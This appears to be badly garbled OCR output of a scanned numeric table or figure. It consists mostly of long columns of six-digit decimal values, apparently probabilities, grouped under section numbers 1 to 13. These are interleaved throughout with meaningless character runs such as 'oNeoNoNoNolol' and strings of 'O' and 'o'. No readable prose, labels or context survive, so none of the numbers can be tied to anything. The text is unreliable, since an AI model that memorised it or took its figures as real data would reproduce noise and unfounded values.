.006401

.000000
.000000
.000000

ocNeoBoBoNoNoNoNoNoloNoloBolNoNoNoNoNoNoBololNoNoNoNoNoNoNololoNoNoNoNoNoNololololNol (@)

o

.000486
.001646
.003562

.001791
.000489
.000358
.000273
.000119
.000097
.000103
.000044
.000201
.000095
.000055
.000076
.000026
.000162
.000266
.000392
.000529
.000553
.002452
.004830
.001791
.000489
.000358
.000273
.000119
.000097
.000103
.000044
.000201
.000095
.000055
.000076
.000026
.000162
.000266
.000392
.000529
.000553
.002452
.004830

.000000
.000000
.000000
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oNeoNeoBoNoNoNeoNoNeohololNoloNolNoNololNololNoNoNolNolNoloNolololNololNololeololNolNolNo]

eoBoNoNoNoNoNoNolololNolololNololNe

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

1

.000000
.000000
.003679
.997177
.000012
.000005
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001

oNeoNeoBoNoNoNeoNoNohololNoloNolNoNololNololNoNoNolNolNoloNolololNololNololeololNolNolNo]

eoloNoNoNoNolNolNolololNololNolNoR il

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.000000
.000000
.002051
.000149
.000014
.000003
.000001
.000001
.000001
.000001
.000002
.000001
.000001
.000001
.000000
.000001

oNeoNeoBoNoNoNeoNoNoholoNoloNolNoNololNololNoNoNoNolNololBololoNoloNololeololNolNolNo]

O O O OO OO ODODODOOOOo

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.000000
.000000
.480053
.000082
.000012
.000002
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000

oNeoNeoBoNoNoNeoNoNohololNoBolNolNoNolBolNoloNoNolNoNoNoloNolololNoloNololeololNolNolNo]

OO OO OO0 OOOoooOo

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000028
.000004
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.002214

oNeoNeoBoNoNoNeoNoNoholoNoloNolNoNololNoholNoNolNolNolNololNolololNoloNololeololNolNolNo]

OO OO OO0 ooOo

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000016
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
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eNeoNoRoNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000001
.000002
.000003
.000004
.000006
.000018
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

2

.017049
.979272
.056646
.002780
.000004
.000002
.000001
.000000
.000001
.000000
.001205
.000898
.000859
.001185
.004590
.003510
.002409
.003498
.004740
.008977
.016464
.029875
.106557
.994458
.000021
.000008

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000002
.000002
.000002
.000003
.000004
.000004
.000018
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.002009
.995940
.003771
.000051
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000938
.003886
.002862
.001861
.003784
.006494
.006726
.006541
.009589
.015545
.024555
.113288
.001984
.000029
.000003

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolNololololNolNo)

.000001
.000001
.000003
.000003
.000004
.000007
.000021
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.045244
.474703
.502059
.000028
.000013
.000001
.000747
.000000
.000000
.000000
.000000
.001000
.002486
.003609
.002970
.001048
.003978
.003922
.012142
.013848
.015693
.036038
.156862
.000994
.000028
.000003

eNeoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRoBoloNoNoNoNoNolololNolNolNolNolNolNolNolNo]

.000001
.000001
.000003
.000003
.000004
.000008
.000029
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000010
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.002127
.002889
.004084
.001971
.003807
.003605
.004434
.014006
.011021
.019585
.046323
.091179
.000107
.000005
.000001

eNeoNoBoNoNoNoNoNoNoNolololoNoNoNoNolNolololNololNolNolNolNo]

[eNeoNoNoloRolNolNoNoNoNoNoNolololNolNolNoNolNolNolNolNo]

.000001
.000003
.000004
.000004
.000004
.000014
.000031
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.001503
.001881
.001878
.002601
.000875
.005516
.009055
.013341
.017991
.018824
.083385
.000031
.000040
.000004
.000002
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eNoNoNoNeoNoNoNoNololNolololNololelNo)

eoNeoNoNoNoNoNolNolololNolBoNoloNololNolNolNolNoNolNoNololNolNololNololNeololNeololNelNo]

.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

3

.487048
.456306
.058075
.555389
.018686
.003949
.002752
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000009
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001

eNoNoNoNeoNoNoNoNololNolololNololNeolNo)

eoNeoNoNoNoNoNolNolololNoloNoloNololNolNolNoNoNoNolNolNolNolNololNololNololNololNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.002409
.993820
.003224
.214012
.028500
.001884
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001

eNoNeoNoNeoNoNoNoNololNolololNololNelNo)

eoNeoNoNoNoNoNolNolololNolBoNoloNololNolNolNolNoNoNoNolNolNolNololNololNeololNeololNolNo]

.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044779
.453162
.484496
.074873
.025276
.000875
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000003
.000012
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000

eNoNeoNoNeoNoNoNolNololNolololNololNelNo)

ecloNoNoNoNoNoNoNololoNololNoBoNoBolNololNolNolNoNolNolNolNolololololNelolNe]

.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.037661
.006493
.000001
.000993
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.000017
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001

eNeoNeoNoNeoNoNoNoNololNolololNololNelNo)

eoloNeoNoNoNoNoNoNoloBoNololNoBoNoBolNololNolNolNoNololNolNolololololNelolNe]

.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.021586
.006946
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000007
.000016
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000

260



OO O OO oo

ecNeoNoRoloNoNoNoNoNoNoNoRoloNoNoNoNololNolololNoNoNoNoNoloRoloNolNoNoNoNolNololololNoNolNolNo)

o O

.000000
.000001
.000002
.000002
.000003
.000005
.000016

4

.478949
.462976
.058159
.759606
.001735
.002113
.000001
.000784
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000010
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

5

.476200
.465641

OO O OO oo

ecNeoNoRoloNoNoNoNoNoNolNoBolNoNoNoNoNololNolololNoNoNoNoNoloRololNolNoNoNoNolNolololololNolNolNo)

o O

.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003225
.993551
.005808
.144421
.005543
.001779
.000000
.000000
.000761
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.005088
.989104

OO O OO oo

ecNeoNoRoloNoNoNoNoNoNolNoBoloNoNoNoNololNolololNoNoNoNoNoloRoloNolNoNoNoNolNololololNoNolNolNo)

o O

.000001
.000001
.000002
.000003
.000003
.000006
.000040

.047299
.468204
.487366
.052977
.003140
.000924
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000004
.000023
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.047127
.465507

OO O OO oo

ecNoNoRoNoNoNoNoNoNoNolNoBololNoNoNoNoloNolololoNoNoNoNolNoRolololNoNoNoNolNolNolololNe)

.000001
.000001
.000003
.000002
.000003
.000009
.000609

.012439
.001980
.000865
.001091
.000001
.000838
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000002
.000001
.000002
.000006
.000043
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

OO O OO oo

cNoNoRoBoNoNoNoNoNoNoloBololNoNoNoNoloNolololoNoNoNoNolNoRolololNoNoNoNolNolNolololNe)

.000001
.000002
.000003
.000004
.000003
.000012
.001492

.007870
.000002
.000001
.000950
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000007
.000029
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492
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oNoNeoNoNeoloNololNoholNolNolBoNolBolNoBolNoloNololNoloNoNoNolNoloNoloNololNololNololNelolNeollolNe]

OO OO OO0 OOoOooo

.058321
.933742
.000557
.000002
.000001
.000000
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000011
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

6

.476898
.464781
.062008
.716842
.005450
.000002
.000001
.000000
.000001
.000000
.000001
.000001

oNoNeoNoNeoloNololNoholNolNolBoNololNoBolNoloNololNoloNolNoNolNoloNoloNololNololNololNeololNeololNe]

OO OO OO0 OOooOooo

.004452
.055307
.000997
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000003
.000013
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.006367
.989181
.020136
.068136
.003934
.000001
.000000
.000000
.000000
.000000
.000001
.000000

oNoNeoNoNeololNololNoholNoNolBoNololNoBolNoloNololNoloNoNoNoNoloNoloNololNololNololNeololNellolNe]

OO OO OO0 OOoOooo

.487500
.005747
.001580
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000004
.000030
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.048162
.464338
.443739
.066748
.002033
.000001
.000001
.000000
.000000
.000000
.000000
.000000

oNoNeoBoNeoNoNolololololoBoNolBoNoloNololNololoNolNoNoNololBolNolBoNololNololNololelolNellNeo)

O O OO OO o oo

.001852
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.000044
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.028725
.001716
.000000
.000001
.000001
.000000
.000000
.000000
.000000

oloNeoBoNeoNoNolololololoBoNolBoNoloNoholNololBoNolNolNoNololBolNoBoNoloNololNololNelolNelNeo)

O O OO OO o oo

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000009
.000036
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.010386
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000001
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eNeoNololBoNoNoNoNoNoNoNoBolNoNoNoNoNolNolNolololoNolNoNoNolNolololNe

[eNeoNoNoloRolNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000003
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

7

.460169
.477823
.061568
.992071
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002

ecNeoNololBoNoloNoNoNoNoNoBolNoNoNoNoNolNolNolololoNoNoNoNolNolololNe

eNeoNoNoloRoNoloNoNoNoloNolololNoNoNoNolNolNolNe]

.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000002
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003985
.975878
.014867
.005475
.000790
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002

ecNeoNololoNoloNoNoNoNoNoBolNoNoNoNoNoNolNolololoNoNoNoNolNolololNe

eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNolNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000061
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.045053
.511208
.455026
.000757
.000630
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003

eNeoNololoNoloNoNoNoNoNoRolNoNoNoNoNoNolNolololoNoNoNoNolNolololNe

lecNeoNoNoloRolNolNoNoNoNolNoNolololNolNolNolNo

.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.068883
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000010
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004

eNeoNololoNoloNoNoNoNoNoRolNoNoNoNoNoNolNolololoNoNoNoNolNolololNe)

lecNeoNoNoloRoNolNoNoNoNoNoNolololNolNolNolNo]

.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000002
.000006
.026996
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
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O O O OO OO ODIODODODIODODODOOOOOo oo

eNoNoNoNoNoNoNolololoNoNoNoolNoBolNololNolNoNoNolNolNolBolololNololNello]

.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

8

.460103
.478329
.062514
.958631
.000004
.000771
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001

O O OO OO OO ODODIODIODODODOOOOOo oo

eNoNeoNoNoNoNoNolololoNoBoNololNoBolNololNolNoNoNolNololBolololNoloNollo]

.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.004105
.981028
.016438
.004832
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001

[eNoNoNoNoNoNoNoloholNolNololNololNololNololNelNo]

eNoNeoNoNoNoNoNolooloNoNoNololNoBolololNolNoNoNolNololBolololNololNollo]

.000030
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.046686
.498288
.451832
.002369
.000004
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000059
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000

[eNoNoNoNoNoNoNoloholNolNoloNololNololNololNelNo]

[eNoNeoNoNoNoNoNolololoNoloNololNololoNolNoNololNololololNelNolNo]

.000072
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000010
.000001
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.017151
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001

[eNoNeoBoNoNoNeoNoloholNolNoloNoloNololNololNelNo]

[eNoNoNoNoNoNoNoNololoNoNoNoolNololoNolNoNololNololololNelNolNo]

.000068
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.016073
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
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oNeoNololoNoloNolNolNolNo]

[eNeoNoNoloRoNoloNoNoNolNoBNolololoNoNoNoNolNoRololoNoNoNoNoNolNoBololNoNoNoNoNolNolololelNo

.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

9

.457836
.479650
.062267
.988416
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005

oNeoNolololNoloNolNolNolNo]

[eNeoNoNoloRoNoloNoNoNolNoNoloBoloNoNoNoNolNoBololoNoNoNoNoNolNoBololNoNoNoNolNololololelNo

.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.004045
.979517
.017714
.000524
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004

oNoNolololNoloNolNolNolNo]

[eNeoNoNoloRoNoloNoNoNolNoNoBoBoloNoNoNoNolNoBololoNoNoNoNoNolNoBololNoNoNoNolNolNolololNelNo

.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.045607
.502561
.449554
.002669
.000004
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000051
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006

oNoNolololNoloNolNolNolNo]

leNeoNoNoloRoBNolNoNoNoNoNoNolololoNoNoNoNoNoNololNolNoNoNoNoNoNoNololNolNolNoNolNolNolNo]

.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000010
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.002831
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009

oNeoNolololNoloNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNolololoNoNoNoNoNoNololNolNoloNoNoNoNolololNolNolNoNolNolNolNo]

.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.005392
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
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(@)

eNoNeoNoNoNoNololololoNoloNoBolNoloNohoNoNolNolololNoloNoloNoBoNoloNoNoNoNolNololNololololNel

O O OO OO oo

.000016

10

.459274
.478459
.062695
.956469
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

11

.456765
.480540
.062822
.966971
.000004
.000564
.000001
.000000

(@)

eNoNeoNoNoNoNololololBoNoNoNoBolNololNohNoNoNolNololoNoloNololNoBoNoloNoNoNolNolNololNololololNel

O O OO OO oo

.000020

.004026
.978260
.019526
.008546
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000011
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003847
.976627
.020662
.006896
.000005
.000001
.000000
.000000

(@)

eNoNeoNoNoNoNololololoNoNoNololNoloNoNoNoNolNololNoNoloNolNoNoBoNoloNoNoNolNolNololNolololNolNel

O O OO OO oo

.000040

.045965
.504481
.446057
.007268
.000004
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000057
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044882
.509061
.444701
.009358
.000005
.000701
.000001
.000001

oloNeoNoNoNoNolololololNoBoNoBolNoloNoNoNoNoNoNoNoNolololBoNoBolNololNolNolNololNelolNolNo)

O O O o o

.000609

.000650
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000005
.008458
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.002923
.000002
.000000
.000001
.000001

oloNeoNoNeoNoNololololololBoNoBololoNoNoNoNolNoNoNoNoBololBoNoBolNololNolNoNololNelolNolNo)

O O O o o

.001492

.004461
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.013992
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.001369
.000002
.000001
.000001
.000000
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cNoNeoNoNoNoNoNoNololololNoNoNoNoNoBololNoloNoNoNoNoNoNololololNoNolNolNolNo]

cNoNoNoloRolNoNoNoNoNoNoNololololNolNe)

.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

12

.454782
.482396
.063032
.979397
.000004
.000002
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNoNoNoNoNoNoNololololoNoNoNoNolololololNoNoNoNoNolNololololNoNolNolNolNo]

ecNeoNoNoloRoloNoNoNoNolNoNololololNolNe)

.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000001
.000002
.000010
.001984
.000029
.000003
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000001
.000001
.000001
.000003
.000003
.000004
.000020

.003725
.975613
.044115
.009614
.000005
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000001

cNoNeoNoNoNoNoNoNololololoNoNoNoNoBololNoloNoNoNoNoNolNolololNoloNolNolNolNo]

ecNoNoNoloRoloNoNoNoNolNoNololololNolNe)

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000001
.000003
.000050
.000994
.000028
.000003
.000003
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000001
.000000
.000001
.000001
.000002
.000003
.000003
.000006
.000040

.044216
.511083
.411306
.003619
.000005
.000001
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001

cNoNeoNoNoNoNoNoNolololNolNoNoNoNoNolololNoloNoNoNoNolNolNolololNoloNolNolNolNo]

eoNoNoNoloRololNoNoNoNolololNolNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000001
.000002
.000004
.003421
.000107
.000005
.000001
.000003
.000002
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000001
.000003
.000002
.000003
.000009
.000609

.000011
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cloNoNoNoNoNoNoNololololNoNoNoNoNolololNololNoNoNoNoNoNolololNolNoNolNolNolNo]

eoNoNoNoloRololNoNoNoNolololNolNe]

.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
.000001
.000002
.000002
.000006
.007650
.000040
.000004
.000002
.000002
.000001
.000001
.000001
.000000
.000002
.000001
.000000
.000001
.000000
.000001
.000002
.000003
.000004
.000003
.000012
.001492

.000006
.000002
.000001
.000001
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000001
.000001
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oNeoNoNoNoNoNoNoNoBoloholNoNoNoNolNoNololNololNololNelo]

oloNeoNoNoNoNoNolNoholoNolBoNoBoNololNololNolNolololNeolololNolNo]

.000001
.000001
.000002
.000002
.000008
.994458
.000021
.000008
.000003
.000001
.000002
.000000
.000001
.000001
.000001
.000001
.000001
.000001
.000000
.000001
.000002
.000002
.000003
.000005
.000016

13

.454446
